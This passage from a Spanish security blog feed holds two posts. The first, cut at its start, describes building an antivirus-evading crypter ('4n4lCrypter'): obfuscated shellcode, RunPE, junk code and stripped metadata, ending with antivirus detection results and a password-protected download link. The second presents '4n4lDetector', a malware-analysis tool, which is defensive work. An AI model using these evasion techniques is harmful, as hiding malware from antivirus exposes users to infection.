que la migré al nuevo proyecto y la incluí como formulario principal. Además agregué
una imagen para darle más apariencia de aplicación con buenas intenciones… <i>¿Qué malware utiliza imágenes en sus
proyectos? ¡Pues 4n4lCrypter!</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTsZeOKsVsugIPDMmZ7D7x9rHqtN6mcIEiwb0OfRzNOREzdEL7hrDYKdVjpBRSihMv6BB9qwtX6pNo3S_zAyqNsm4Ssv2aXOhOh9YMyzC-ExhVhDZ44Pwqo-wUYl3MtRAqWUYRI1QWkZZW/s1600/stub.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTsZeOKsVsugIPDMmZ7D7x9rHqtN6mcIEiwb0OfRzNOREzdEL7hrDYKdVjpBRSihMv6BB9qwtX6pNo3S_zAyqNsm4Ssv2aXOhOh9YMyzC-ExhVhDZ44Pwqo-wUYl3MtRAqWUYRI1QWkZZW/s640/stub.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Decidí separar a la <i>ShellCode</i> ofuscada en diferentes
módulos, y llamarla mediante funciones. La siguiente imagen muestra código
basura ofuscado entre los fragmentos del <b>RunPE</b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ8a0MhfBogMr5aEtLVgLobwgKSflT7q-_dpJzigMEAFqlkl6q_nx4h2hUdpxmLyjWdRcQwdz8flOVDiUFHkPF69-KNuvoqWQRK2hh72rOAh9PP1pkOQCye8JRzGfTZWHAAZ4lkH5p8Hcn/s1600/ASMLINEAmod1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ8a0MhfBogMr5aEtLVgLobwgKSflT7q-_dpJzigMEAFqlkl6q_nx4h2hUdpxmLyjWdRcQwdz8flOVDiUFHkPF69-KNuvoqWQRK2hh72rOAh9PP1pkOQCye8JRzGfTZWHAAZ4lkH5p8Hcn/s640/ASMLINEAmod1.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La función principal del <i>ShRunPE</i> llamando por <i>Calls</i> al resto de fragmentos, junto al <i>CallWindowProc</i> el cual también podríamos
ofuscar su nombre de función.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhngsCMmeSi5CSTsaIVA3GM9OOWPGb-XZpGc5YQe3mogVn2zXGwIceiB6nZstlMlGzgyDQuYscrXQbSb3gdpOhecTW_si9nL7P3rJdi-0EZ1RCjq7OLlMtXorWSUIh2KTUqlcyZ4jgOQI7n/s1600/ASMLINEAmod2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhngsCMmeSi5CSTsaIVA3GM9OOWPGb-XZpGc5YQe3mogVn2zXGwIceiB6nZstlMlGzgyDQuYscrXQbSb3gdpOhecTW_si9nL7P3rJdi-0EZ1RCjq7OLlMtXorWSUIh2KTUqlcyZ4jgOQI7n/s640/ASMLINEAmod2.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Después de compilar el <i>stub</i>, agregarle un icono y eliminar
desde el editor hexadecimal la ruta de compilación y el <i>VersionInfo</i> desde la herramienta <b>Resource Hacker</b>, este es el resultado de las detecciones antivirus
del <i>stub</i> de mi <i>crypter</i>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEX8PF7sqpNcFWmHQV4vLSc8aCbJ4o5B9UaAgeT4yxFMqbeBUBu1T-gdGOeJxBql9ZmS0bWg7WGmLBDlZLsOrPiNZ1wPTVA8wJWGIX_FsQtTjiy0E_Yk-lZStumzim-LR4oLoekgAo84me/s1600/enelpc.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEX8PF7sqpNcFWmHQV4vLSc8aCbJ4o5B9UaAgeT4yxFMqbeBUBu1T-gdGOeJxBql9ZmS0bWg7WGmLBDlZLsOrPiNZ1wPTVA8wJWGIX_FsQtTjiy0E_Yk-lZStumzim-LR4oLoekgAo84me/s640/enelpc.png" width="530" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Al cifrado se suma Avira y Eset,
algo que os dejaré como tarea porque yo me voy de fiesta ;)<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">La próxima versión todavía no
publicada de <b>4n4lDetector v1.1</b>,
mostraría la siguiente información del ejecutable. <b>DllFunctionCall</b> como siempre haciendo de las suyas ocultando
información sobre las API utilizadas.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjci2fuJtWH4CZulH2aQZ8x1WdQ4Kfmh9pfYdbJnTRM_KCrJhKeSedwM0TJQi-b0j1laIKAiiUf3Bzt_uD2gqDmEVfbmguwO5bMRWioVcJ2t3SOtAkOb4-p_O-4Bx_UoI9w1QlwzOg5dvtE/s1600/4n4lDetector.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="231" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjci2fuJtWH4CZulH2aQZ8x1WdQ4Kfmh9pfYdbJnTRM_KCrJhKeSedwM0TJQi-b0j1laIKAiiUf3Bzt_uD2gqDmEVfbmguwO5bMRWioVcJ2t3SOtAkOb4-p_O-4Bx_UoI9w1QlwzOg5dvtE/s320/4n4lDetector.png" width="320" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">A continuación les dejo la imagen
de la herramienta, un toque personal que últimamente acostumbro a darle a estas
con la similitud de una consola. Nada que ver con mis anteriores crypters… <b><a href="https://www.google.es/search?q=Billar+Crypter">Billar Crypter</a></b>.<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLIiI6VtnarhCv2Q-AAeTQ9yuMJ7xuaUBc_3izHGUgsKcnwWU_j2UR3CsHXs2KkddosQuv76ELGoCRGbV52kuQnOc6qLBNAardPvjcFMuqTjSDWfXnFQB6u-BuoCBA6OKSNJHvCaWUHHKB/s1600/4n4lCrypter.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="85" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLIiI6VtnarhCv2Q-AAeTQ9yuMJ7xuaUBc_3izHGUgsKcnwWU_j2UR3CsHXs2KkddosQuv76ELGoCRGbV52kuQnOc6qLBNAardPvjcFMuqTjSDWfXnFQB6u-BuoCBA6OKSNJHvCaWUHHKB/s640/4n4lCrypter.png" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><span style="font-size: x-large;"><b><a href="https://docs.google.com/uc?id=0B74kMAGqImI9SUFibzdVbjBRbDQ">Descarga 4n4lCrypter</a></b></span></span></div>
<div class="MsoNormal" style="text-align: justify;">
<div style="text-align: center;">
<span style="font-family: 'Courier New', Courier, monospace;"><b>Pass: 4n0nym0us</b></span></div>
</div>
<div style="text-align: center;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Saludos 4n4les! ;)</span><o:p></o:p></div>
<div class="blogger-post-footer">Feed Blogger Germán Sánchez Garcés</div>Germán Sánchez Garcéshttp://www.blogger.com/profile/09955799520119890787noreply@blogger.com2tag:blogger.com,1999:blog-2707641124274171597.post-78228815516455477602015-04-26T13:25:00.001+02:002015-04-26T15:11:26.784+02:004n4lDetector v1.0<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Me ha cambiado la vida, sí. Mejor dicho, he vuelto a cambiar
mi vida. Estamos acostumbrados a esperar que el tiempo decida por nosotros,
cuando realmente somos nosotros los que nos damos cuenta antes que nada ni
nadie, de cuáles son nuestros problemas y necesidades. Llegados a este punto, solemos
pensar en lo que pasaría si nuestra vida tomase otro rumbo, que consecuencias
negativas o positivas tendrán nuestras decisiones, y de forma generalizada,
tendemos a arrepentirnos por el miedo a terminar acumulando consecuencias
negativas. Arriesgarse a veces puede llegar a ser incluso divertido, siempre
nos quedará tiempo para partir de cero, pero y si de lo contrario… ¿<a href="https://www.youtube.com/watch?v=SNzrLZ95Z8U">vuelves al 10 que te hacía
sentir bien</a>?<o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Gracias a tanto cambio, y que se ha juntado con este domingo
tan gris que me tiene retenido enelpc, hoy tendréis un regalo de algo que he
estado preparando desde hace un mes hasta este momento. Sí, lleva impreso el
sello de mis “Saludos 4n4les!” en su nombre, porque sé que los habíais echado
de menos… <i>eeehh guarrones, y guarronas
jajajaj</i><o:p></o:p></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><i><br /></i></span></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><b>¿Qué cojones es 4n4lDetector?<o:p></o:p></b></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<i><span style="font-family: Courier New, Courier, monospace;"><br /></span></i></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Sencillamente se trata de una nueva herramienta para hacer
análisis sobre archivos ejecutables de Windows, con el objetivo de identificar
de forma rápida, si este se trata o no de un malware. La mayoría de análisis se
basan en la extracción de strings “ANSI” y “UNICODE” de los ejecutables en
disco, aunque también trabaja con “Memory Dumps” de los binarios que
analicemos. Como es lógico, esta última opción podría comprometer la seguridad
de su equipo al ejecutar las muestras, con lo que se recomienda hacerlo en
sistemas de laboratorio. Desde la ayuda de esta aplicación, se puede ver todo
lo que es capaz de analizar, algo que seguirá creciendo y puliéndose en base a nuevas
versiones.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHFzfj7heGjruRQizFLTHVXd29Yc2pIQcG8dRjp5OMU8-sL4NE5xoTpx4hHL5Y3TwICQgrR2BKo94Pj6ytLA_ndVxlhpxGiTttANiVCqlT0zRDgTkt2GxJMTmdXWDRcOigUUcbWPjdK2VX/s1600/1+help+4N4LDetector.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHFzfj7heGjruRQizFLTHVXd29Yc2pIQcG8dRjp5OMU8-sL4NE5xoTpx4hHL5Y3TwICQgrR2BKo94Pj6ytLA_ndVxlhpxGiTttANiVCqlT0zRDgTkt2GxJMTmdXWDRcOigUUcbWPjdK2VX/s1600/1+help+4N4LDetector.png" height="470" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Para no ser demasiado chapas, prefiero demostrar con
imágenes su utilidad. Si recuerdan el </span><a href="http://www.enelpc.com/2011/12/metodo-daf-evolution-by-4n0nym0us.html" style="font-family: 'Courier New', Courier, monospace;">método
DAF Evolution</a><span style="font-family: 'Courier New', Courier, monospace;">, el cual se me ocurrió para hacer malware indetectable a los
antivirus, la siguiente imagen muestra un análisis sobre un binario modificado
con este método.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSlWsy1s1c0vu25CgY1AIHtXXiGVoQANfAzIS1SdUcRPHJvOLAvhMX7enlgT9PbNeT0jiqYGYnqyRZMcYPNo_Em6E-tpootzlahBFQ9Av2YnZznSHSgYH67aa2eJKA-wvCHY91mO-PEScj/s1600/2+DAFE+4N4LDetector.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSlWsy1s1c0vu25CgY1AIHtXXiGVoQANfAzIS1SdUcRPHJvOLAvhMX7enlgT9PbNeT0jiqYGYnqyRZMcYPNo_Em6E-tpootzlahBFQ9Av2YnZznSHSgYH67aa2eJKA-wvCHY91mO-PEScj/s1600/2+DAFE+4N4LDetector.png" height="470" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">En un recuadro rojo se marcan las detecciones de “Binder/Joiner”,
al haber encontrado dos binarios unidos en un mismo ejecutable. Además, se
detectaron ejecuciones por “cmd.exe” para hacer un copiado de binarios.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;">Si recuerdan una de las entradas con la que más me he
divertido llamada <a href="http://www.enelpc.com/2014/04/injerto-de-una-shellcode-en-el-stub-de.html">Injerto
de una ShellCode en el Stub de un Crypter</a>, en esta utilicé el <i>Stub</i> de un <i>Crypter</i> compilado en <i>Delphi 7</i>
para incluir una <i>ShellCode</i> con el <i>STAGE1</i> de conexión <i>reverse_tcp</i>. Pues bien, la siguiente imagen muestra una pista que
dejé, al haber creado un hueco tan grande de NOPs sobre el ejecutable junto a
la detección por parte de <b>4n4lDetector</b>
del <i>STAGE1</i>.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHRfcelP5C-UfU6_3K3Bqo2OHyCjaWu84og1GJce5Ne342dItCzhERr7hfVmA1ROujIzM8J1nKRxP073E1C-qjIM9SWRtLHMvQTcBsKyAvLqtITqc2Guo4jX1C48VyuqKgA-uvENNh48UN/s1600/3+Shellcode+4N4LDetector.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHRfcelP5C-UfU6_3K3Bqo2OHyCjaWu84og1GJce5Ne342dItCzhERr7hfVmA1ROujIzM8J1nKRxP073E1C-qjIM9SWRtLHMvQTcBsKyAvLqtITqc2Guo4jX1C48VyuqKgA-uvENNh48UN/s1600/3+Shellcode+4N4LDetector.png" height="470" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">También realiza análisis sobre las primeras instrucciones
que se encuentran detrás del </span><i style="font-family: 'Courier New', Courier, monospace;">Entry Point</i><span style="font-family: 'Courier New', Courier, monospace;">
del posible malware, buscando cosas tan típicas como la </span><a href="http://www.enelpc.com/2012/12/antivirus-ko-moviendo-el-entry-point.html" style="font-family: 'Courier New', Courier, monospace;">redirección
del EP mediante la inserción de rutinas con saltos</a><span style="font-family: 'Courier New', Courier, monospace;"> que también fue
publicada en este blog.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZfzdnq9MFk9QgbSS4YqCcO5N0KYDblMgZsfwtL7gs4RjKYZrYGEUkQZ44fC_GrXV8uGxOnk4bL40pJcabLTO-2mWhLhm50CZ9gPESpagTIrgjObu5joks2YYBQRKyagaPLmUi5UMPMOYu/s1600/Joiner.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZfzdnq9MFk9QgbSS4YqCcO5N0KYDblMgZsfwtL7gs4RjKYZrYGEUkQZ44fC_GrXV8uGxOnk4bL40pJcabLTO-2mWhLhm50CZ9gPESpagTIrgjObu5joks2YYBQRKyagaPLmUi5UMPMOYu/s1600/Joiner.png" height="470" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Algunos malware son tan sencillos de detectar, que apenas
hay que explicar nada. Apis para la captura de teclas, entradas de registro en
el RUN con nombres conocidos y rutas de instalación.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigqc5iSFzucOa3UurNefPN-03VCuWsYflfOGbEUSrA-jwN-XR1MwwqQ9j865PNHJhxEMu9Lnab5DMKBVzbg87R6xagYgXL9WfCcrz33Sp-3rKScKnHSzLiWKoRFHNmtZLtzn8kg9AKzUyG/s1600/Keylogger.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigqc5iSFzucOa3UurNefPN-03VCuWsYflfOGbEUSrA-jwN-XR1MwwqQ9j865PNHJhxEMu9Lnab5DMKBVzbg87R6xagYgXL9WfCcrz33Sp-3rKScKnHSzLiWKoRFHNmtZLtzn8kg9AKzUyG/s1600/Keylogger.png" height="470" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">El conocido troyano </span><i style="font-family: 'Courier New', Courier, monospace;">SpyNet</i><span style="font-family: 'Courier New', Courier, monospace;">
con todos sus métodos </span><i style="font-family: 'Courier New', Courier, monospace;">Anti-VM, Anti-Sandbox
</i><span style="font-family: 'Courier New', Courier, monospace;">y</span><i style="font-family: 'Courier New', Courier, monospace;"> Anti-Debug</i><span style="font-family: 'Courier New', Courier, monospace;">.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVuQkQwOjDBOQNuBE52vYB4iFc6S0O7uaREVSIOu34vNDqYPDouGN3UiMdCki05oCaw9fUL0tmkXDEv4DKTu8F3TvSlsh0nqF1xoSwUDy0vb3YDomw6vvvCz4k7xWBkV_Ps1C029YJsaef/s1600/SPYNET.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVuQkQwOjDBOQNuBE52vYB4iFc6S0O7uaREVSIOu34vNDqYPDouGN3UiMdCki05oCaw9fUL0tmkXDEv4DKTu8F3TvSlsh0nqF1xoSwUDy0vb3YDomw6vvvCz4k7xWBkV_Ps1C029YJsaef/s1600/SPYNET.png" height="470" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">La parte baja de la aplicación tiene un </span><i style="font-family: 'Courier New', Courier, monospace;">Check</i><span style="font-family: 'Courier New', Courier, monospace;"> de seguridad, para hacer visible el botón que permite
ejecutar la muestra en memoria.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-iE0_6oTvNxJEOr2rA7ZH9DphN8UDadOptAeJ3bKP7Paueqsj1T8V07vDzOEf_zDDg1-8cq4VJQ7chGGJfbhFYmaYnX0-ebBsM6Eze8oHox2-cAO9Hv0SxchQsEhbkAOWZcp23lYwL9Gk/s1600/POC2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-iE0_6oTvNxJEOr2rA7ZH9DphN8UDadOptAeJ3bKP7Paueqsj1T8V07vDzOEf_zDDg1-8cq4VJQ7chGGJfbhFYmaYnX0-ebBsM6Eze8oHox2-cAO9Hv0SxchQsEhbkAOWZcp23lYwL9Gk/s1600/POC2.png" height="466" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Tras finalizar la ejecución seleccionando con antelación el
tiempo en segundos que deseamos dejar la muestra corriendo antes de generar el </span><i style="font-family: 'Courier New', Courier, monospace;">Memory Dump</i><span style="font-family: 'Courier New', Courier, monospace;">, se muestra información
sobre los procesos creados y sus </span><i style="font-family: 'Courier New', Courier, monospace;">PID</i><span style="font-family: 'Courier New', Courier, monospace;">.
En caso de haberse efectuado sin problemas la copia, se mostrará la ruta y un
acceso rápido a la carpeta donde se almacenarán los </span><i style="font-family: 'Courier New', Courier, monospace;">DMP</i><span style="font-family: 'Courier New', Courier, monospace;">.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf7lCrjcdlJf8YWqo-dWXHzdhenksSXnWzP1yWQX1vs6IDM93ZclLtNcgS6dQRpiJ-924iQVgkpXGvz6jkbMptlc-YQT8hJ8iFy_qkOV_8bwzLURgjsiRbUgyY30D4MDXatgQhyFWhjAVO/s1600/POC3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf7lCrjcdlJf8YWqo-dWXHzdhenksSXnWzP1yWQX1vs6IDM93ZclLtNcgS6dQRpiJ-924iQVgkpXGvz6jkbMptlc-YQT8hJ8iFy_qkOV_8bwzLURgjsiRbUgyY30D4MDXatgQhyFWhjAVO/s1600/POC3.png" height="468" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Todo lo que permanecía cifrado en disco, aparece descifrado
en memoria tras ejecutarse. Con lo que podremos leer las strtings al desnudo.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQt0j1aQKy9rfILDCzGn27iWL3K92uBoHm6TGd5OS4SSHOQRQ2kaA2eolHo5VPqgbuTaiTVrQDM3helSBloRvgcGdxOMNeAl6pKO0Vsasp9vOWisJpwwZe199lpPLxAsrmxhoHqEmuaCGO/s1600/POC4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQt0j1aQKy9rfILDCzGn27iWL3K92uBoHm6TGd5OS4SSHOQRQ2kaA2eolHo5VPqgbuTaiTVrQDM3helSBloRvgcGdxOMNeAl6pKO0Vsasp9vOWisJpwwZe199lpPLxAsrmxhoHqEmuaCGO/s1600/POC4.png" height="470" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Inclusive, tiene la capacidad de extraer la configuración de
algunos troyanos conocidos como </span><i style="font-family: 'Courier New', Courier, monospace;">DarkComet</i><span style="font-family: 'Courier New', Courier, monospace;">
en sus </span><i style="font-family: 'Courier New', Courier, monospace;">Memory Dump</i><span style="font-family: 'Courier New', Courier, monospace;">. El siguiente es
un servidor comprimido con </span><i style="font-family: 'Courier New', Courier, monospace;">UPX</i><span style="font-family: 'Courier New', Courier, monospace;">, que
de poco sirve en memoria.</span></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Courier New, Courier, monospace;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1WBry9SfQ9eyRt1ro4B5QexqGxknNVTaUyEJ4Yiqmvc1Dzdk7fJHJX8TfzYu_AbOvJ14qlxVx1ntongDVhPcKuNFJut08ib5I2QNMuh9tu2FkcatE8YpoxVyzqPXmfiMhI_JDLh9rMvcN/s1600/DarkCometDUMP.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1WBry9SfQ9eyRt1ro4B5QexqGxknNVTaUyEJ4Yiqmvc1Dzdk7fJHJX8TfzYu_AbOvJ14qlxVx1ntongDVhPcKuNFJut08ib5I2QNMuh9tu2FkcatE8YpoxVyzqPXmfiMhI_JDLh9rMvcN/s1600/DarkCometDUMP.png" height="470" width="640" /></a></span></div>
<span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span><br />
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: 'Courier New', Courier, monospace;">Por último, al tratarse de malware, este suele ir de la mano
con pequeños tamaños de archivos ejecutables, con lo que en la modalidad de ejecución
en memoria, es posible que se generen algunos que excedan los límites de
análisis de la herramienta. Para llevar a cabo la extracción de la máxima
información posible, </span><b style="font-family: 'Courier New', Courier, monospace;">4n4lDetector</b><span style="font-family: 'Courier New', Courier, monospace;"> trae
consigo una herramienta de cortado de binarios, con la que podremos seleccionar
el número de trozos para analizar.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkO63RjKpblOesaylQcibXwhR8Ef0w59N2A6DHQdOD-03pplqoJ974FmOCHEaJeSm6miSbWalHsy9mw4KTfRo118L-SsVoxGaxvcTM-NwtmVN08t35YHER4EVxMU6xiawtBy3Iy7It_uZI/s1600/Cuts.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkO63RjKpblOesaylQcibXwhR8Ef0w59N2A6DHQdOD-03pplqoJ974FmOCHEaJeSm6miSbWalHsy9mw4KTfRo118L-SsVoxGaxvcTM-NwtmVN08t35YHER4EVxMU6xiawtBy3Iy7It_uZI/s1600/Cuts.png" height="470" width="640" /></a></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div class="MsoNormal" style="text-align: center;">
<b><span style="font-size: 28.0pt; line-height: 115%;"><a href="https://docs.google.com/uc?id=0B74kMAGqImI9R1o4Q2Z1X054cjA"><span style="font-family: Georgia, Times New Roman, serif;">Descarga 4n4lDetector</span></a><span style="font-family: Courier New, Courier, monospace;"><o:p></o:p></span></span></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
